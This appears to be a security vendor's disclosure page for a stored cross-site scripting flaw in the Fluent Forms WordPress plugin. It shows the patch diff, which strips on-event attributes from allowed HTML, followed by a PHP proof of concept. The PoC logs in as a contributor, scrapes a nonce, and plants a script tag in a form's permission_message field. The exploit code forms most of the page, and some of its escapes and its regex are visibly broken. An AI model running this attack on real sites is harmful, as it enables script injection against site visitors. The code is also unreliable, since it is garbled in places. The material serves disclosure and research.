+            'cookies' => $_COOKIE,
             'sslverify' => apply_filters('fluentform/https_local_ssl_verify', $sslVerify),
         );

--- a/fluentform/boot/app.php
+++ b/fluentform/boot/app.php
@@ -37,13 +37,25 @@
         ($app->make(ActivationHandler::class))->handle($network_wide);
     });

-    add_action('wp_insert_site', function ($blog) use ($app) {
-        if (is_plugin_active_for_network('fluentform/fluentform.php')) {
-            switch_to_blog($blog->blog_id);
-            ($app->make(ActivationHandler::class))->handle(false);
-            restore_current_blog();
+    $initializeNewSite = function ($blogId) use ($app) {
+        if (!is_plugin_active_for_network('fluentform/fluentform.php')) {
+            return;
         }
-    });
+
+        switch_to_blog($blogId);
+        ($app->make(ActivationHandler::class))->handle(false);
+        restore_current_blog();
+    };
+
+    if (function_exists('wp_initialize_site')) {
+        add_action('wp_initialize_site', function ($newSite) use ($initializeNewSite) {
+            $initializeNewSite($newSite->id);
+        }, 20, 1);
+    } else {
+        add_action('wpmu_new_blog', function ($blogId) use ($initializeNewSite) {
+            $initializeNewSite($blogId);
+        }, 10, 1);
+    }

     register_deactivation_hook($file, function () use ($app) {
         ($app->make(DeactivationHandler::class))->handle();
--- a/fluentform/boot/globals.php
+++ b/fluentform/boot/globals.php
@@ -387,9 +387,6 @@
         'style'           => [],
     ];

-    //button
-    $tags['button']['onclick'] = [];
-
     //svg
     if (empty($tags['svg'])) {
         $svg_args = [
@@ -434,6 +431,19 @@

     $tags = apply_filters('fluentform/allowed_html_tags', $tags);

+    // Event-handler attributes are executable JavaScript and must not be re-enabled by filters.
+    foreach ($tags as $tagName => $attributes) {
+        if (!is_array($attributes)) {
+            continue;
+        }
+
+        foreach (array_keys($attributes) as $attribute) {
+            if (preg_match('/^on[a-z]+/i', $attribute)) {
+                unset($tags[$tagName][$attribute]);
+            }
+        }
+    }
+
     return wp_kses($html, $tags);
 }

--- a/fluentform/fluentform.php
+++ b/fluentform/fluentform.php
@@ -4,7 +4,7 @@
 /**
  * Plugin Name: Fluent Forms
  * Description: Contact Form By Fluent Forms is the advanced Contact form plugin with drag and drop, multi column supported form builder plugin
- * Version: 6.2.1
+ * Version: 6.2.2
  * Author: Contact Form - WPManageNinja LLC
  * Author URI: https://fluentforms.com
  * Plugin URI: https://wpmanageninja.com/wp-fluent-form/
@@ -17,7 +17,7 @@
 defined('FLUENTFORM') or define('FLUENTFORM', true);
 define('FLUENTFORM_DIR_PATH', plugin_dir_path(__FILE__));
 define('FLUENTFORM_FRAMEWORK_UPGRADE', '4.3.22');
-defined('FLUENTFORM_VERSION') or define('FLUENTFORM_VERSION', '6.2.1');
+defined('FLUENTFORM_VERSION') or define('FLUENTFORM_VERSION', '6.2.2');
 defined('FLUENTFORM_MINIMUM_PRO_VERSION') or define('FLUENTFORM_MINIMUM_PRO_VERSION', '6.0.0');

 if (!defined('FLUENTFORM_HAS_NIA')) {

Proof of Concept (PHP)

PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6828 - Fluent Forms <= 6.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'permission_message' Shortcode Attribute

/*
 * Description:
 * This PoC demonstrates the stored XSS vulnerability by creating a form with a malicious
 * 'permission_message' attribute. The attacker must have Contributor-level or higher access.
 *
 * Pre-requisites:
 * - A WordPress site running Fluent Forms <= 6.2.1
 * - Valid user credentials with at least Contributor role
 */

$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site
$username = 'attuser';
$password = 'attpass';

/**
 * Login and get cookies/nonce for form creation.
 */
$login_url = $target_url . '/wp-login.php';
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/ff_cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false) {
    die("Failed to login. Check credentials and URL.n");
}
echo "[+] Logged in successfully.n";

/**
 * Get the _wpnonce for creating a new form.
 * The Fluent Forms AJAX action is 'fluentform_create_form'.
 */
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=fluentform_create_form';
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from response (usually in wp_ajax_nonce or similar)
preg_match('/nonce['"]?s*[=:]+s*['"]?([a-f0-9]+)/i', $response, $matches);
if (empty($matches[1])) {
    // Fallback: try to get nonce via wp_ajax
    die("Could not extract nonce. Manually check the 'fluentform_create_form' AJAX action.n");
}
$nonce = $matches[1];
echo "[+] Got nonce: $noncen";

/**
 * Craft a form with malicious permission_message.
 * We inject a script that will execute when the shortcode is rendered.
 */
$maliciousForm = array(
    'title' => 'XSS Test Form ' . time(),
    'form_fields' => json_encode(array()),
    'permission' => 'never_granted_cap',
    'permission_message' => '<script>alert('XSS by Atomic Edge');</script>',
    'nonce' => $nonce
);

$create_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action' => 'fluentform_create_form',
    'nonce' => $nonce,
    'form' => json_encode($maliciousForm)
);

curl_setopt($ch, CURLOPT_URL, $create_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

echo "[+] Form creation response:n";
echo $response . "n";

/**
 * The attacker would now embed the shortcode in a page/page.
 * Shortcode: [fluentform id="FORM_ID" permission="never_granted_cap" permission_message="{malicious_script}"]
 *
 * The XSS fires when a user with insufficient permissions visits that page.
 */
curl_close($ch);
?>

Frequently Asked Questions

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School